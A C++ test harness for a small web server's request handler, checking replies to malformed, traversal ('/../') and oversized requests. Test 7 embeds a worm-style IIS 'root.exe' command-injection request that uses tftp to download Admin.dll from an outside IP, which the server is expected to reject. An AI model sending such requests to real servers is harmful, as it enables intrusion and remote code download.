// test_Connection.cpp: A poorly commented test harness.
// Crap code but should poke Connection.cpp around its edges.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include "Connection.h"
#include "logging.h"

#define LOG_NAME "test_Connection.log"
#define BAD_REQUEST_ERROR "HTTP/1.0 400 Bad request\r\nServer: twsws/1.1\r\nContent-Length: 15\r\nContent-Type: text/plain\r\n\r\n400 Bad request"
#define HTTP0_9_BAD_REQUEST_ERROR "400 Bad request"
#define NOT_FOUND_ERROR "404 Not found"

void write_all(int fd, const char* buffer, const size_t length) 
{
    int pos = 0;
    int bytes_written = 0;
    while (pos < length) {
        bytes_written = write(fd, buffer + pos, length - pos); 
        if (bytes_written < 0) {
            abort("write failed");
        }
        pos += bytes_written;
    }
}

void test_size(int fd, char* request)
{
    write_all(fd, request, strlen(request));
    char reply[2048];
    memset(reply, 0, sizeof(reply));

    // Read until end of buffer or Content-Length is found
    int length = 0;
    while (length < sizeof(reply) && strstr(reply, "Content-Length: ") == NULL) {
        int bytes_read = read(fd, reply + length, sizeof(reply) - length - 1);
        if (bytes_read <= 0) {
            abort("read failed");
        }
        length += bytes_read;
    }
    char* pos = strstr(reply, "Content-Length: ");
    if (pos == NULL) {
        abort("Didn't find 'Content-Length: '");
    }
    pos += strlen("Content-Length: ");
    char* rest_of_buffer = strchr(pos, '\r') + 1;
    strchr(pos, '\r')[0] = 0;
    int expected_length = atoi(pos);
    printf("Expected length = %d...", expected_length);

    // Read until end of buffer or start of message is found (probably aleady
    // there). TODO refactor this as read_until into common.c with write_all!
    while (length < sizeof(reply) && strstr(rest_of_buffer, "\r\n\r\n") == NULL) {
        int bytes_read = read(fd, reply + length, sizeof(reply) - length - 1);
        if (bytes_read <= 0) {
            abort("read failed");
        }
        length += bytes_read;
    }
    pos = strstr(rest_of_buffer, "\r\n\r\n");
    if (pos == NULL) {
        abort("Didn't find end of header");
    }

    // Amount of the entity in this buffer is length - position of header's end
    int entity_size = length - (pos - reply) - 4;

    // Now have the start of the entity: now read to end of the stream and
    // count its size
    while (true) {
        int bytes_read = read(fd, reply, sizeof(reply) - 1);
        if (bytes_read <= 0) {
            break;
        }
        entity_size += bytes_read;
    }

    // Check that the length tallies
    if (entity_size == expected_length) {
        printf("OK\n");
    } else {
        printf("ERROR: expected %d but found %d\n", expected_length, entity_size);
    }
}

void test_send(int fd, char* request, char* expected_str)
{
    write_all(fd, request, strlen(request));
    char reply[256];
    memset(reply, 0, sizeof(reply));
    read(fd, reply, sizeof(reply));
    reply[sizeof(reply) - 1] = 0;
    char* dotdotdot = strstr(expected_str, "...");
    if (dotdotdot > 0) {
        *dotdotdot = 0;
        if (strncmp(reply, expected_str, strlen(expected_str)) != 0) {
            error("expected %s but found %s", expected_str, reply);
            return;
        }
    } else {
        if (strcmp(reply, expected_str) != 0) {
            error("expected %s but found %s", expected_str, reply);
            return;
        }
    }
    printf("OK: received expected reply\n");
}

void connection_test(int test_no, int fd)
{
    printf("Test no. %d...", test_no);
    char buffer[3000];
    switch (test_no) {
        case 1:
            test_send(fd, "GET /\r\n", NOT_FOUND_ERROR);
            break;

        case 2:
            strcpy(buffer, "// test_Connection.cpp: A poorly commented test harness...");
            test_send(fd, "GET /test_Connection.cpp\r\n", buffer);
            break;

        case 3:
            memset(buffer, 1, sizeof(buffer));
            test_send(fd, buffer, BAD_REQUEST_ERROR);
            break;

        case 4:
            memset(buffer, 'X', sizeof(buffer));
            test_send(fd, buffer, BAD_REQUEST_ERROR);
            break;
            
        case 5:
            test_send(fd, "GET /xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\r\n", HTTP0_9_BAD_REQUEST_ERROR);
            break;
            
        case 6:
            test_send(fd, "GET /something/not/found.html\r\n", NOT_FOUND_ERROR);
            break;

        case 7:
            test_send(fd, "GET /scripts/root.exe?/c+tftp%20-i%20213.16.172.118%20GET%20Admin.dll%20Admin.dll HTTP/1.0\r\n", BAD_REQUEST_ERROR);
            break;

        case 8:
            test_send(fd, "POST /whatever.html HTTP/1.0\r\n", BAD_REQUEST_ERROR);
            break;

        case 9:
            test_send(fd, "GET //test_Connection.cpp HTTP/1.0\r\n", BAD_REQUEST_ERROR);
            break;

        case 10:
            test_send(fd, "GET /test_data//index.html HTTP/1.0\r\n", BAD_REQUEST_ERROR);
            break;

        case 11:
            test_send(fd, "GET /test_data/index.html HTTP/1.0\r\n", "HTTP/1.0 200 OK\r\nServer: twsws/1.1\r\nContent-Length: 54\r\nContent-Type: text/html\r\n\r\n<html>\n<body>\n<h1>Test Page</h1>\nBody\n</body>\n</html>\n");
            break;

        case 12:
            test_send(fd, "GET /./test_data/index.html HTTP/1.0\r\n", BAD_REQUEST_ERROR);
            break;
            
        case 13:
            test_send(fd, "GET /test_data/index.htxl HTTP/1.0\r\n", BAD_REQUEST_ERROR);
            break;

        case 14:
            test_send(fd, "GET /test_data/index. HTTP/1.0\r\n", BAD_REQUEST_ERROR);
            break;

        case 15:
            test_send(fd, "GET /test_data/index HTTP/1.0\r\n", BAD_REQUEST_ERROR);
            break;

        case 16:
            test_send(fd, "GET /../index HTTP/1.0\r\n", BAD_REQUEST_ERROR);
            break;

        case 17:
            test_size(fd, "GET /test_data/index.html HTTP/1.0\r\n");
            break;

        case 18:
            test_size(fd, "GET /test_data/dob1.jpg HTTP/1.0\r\n");
            break;

        case 19:
            test_size(fd, "GET /test_data/dob10.jpg HTTP/1.0\r\n");
            break;

        case 20:
            test_size(fd, "GET /test_data/2.png HTTP/1.0\r\n");
            break;

        case 21:
            test_size(fd, "GET /test_data/4.png HTTP/1.0\r\n");
            break;

        default:
            error("unexpected test no.: %d", test_no);
            break;
    }
}

int main(int argc, char* argv[])
{
    if (argc != 2) {
        printf("Usage: test_Connection test_no (1-21)\n");
        exit(-1);
    }
    log_init(LOG_NAME);
    int fds[2];
    if (socketpair(PF_LOCAL, SOCK_STREAM, 0, fds) < 0) {
        log("failed to create a socket pair");
    }
    if (fork() > 0) {
        // parent
        close(fds[1]);
        connection_test(atoi(argv[1]), fds[0]);
        log("Parent exiting.");
    } else {
        // child
        close(fds[0]);
        Connection* c = new Connection(fds[1]);
        c->handle_request();
        log("Child exiting.");
    }
}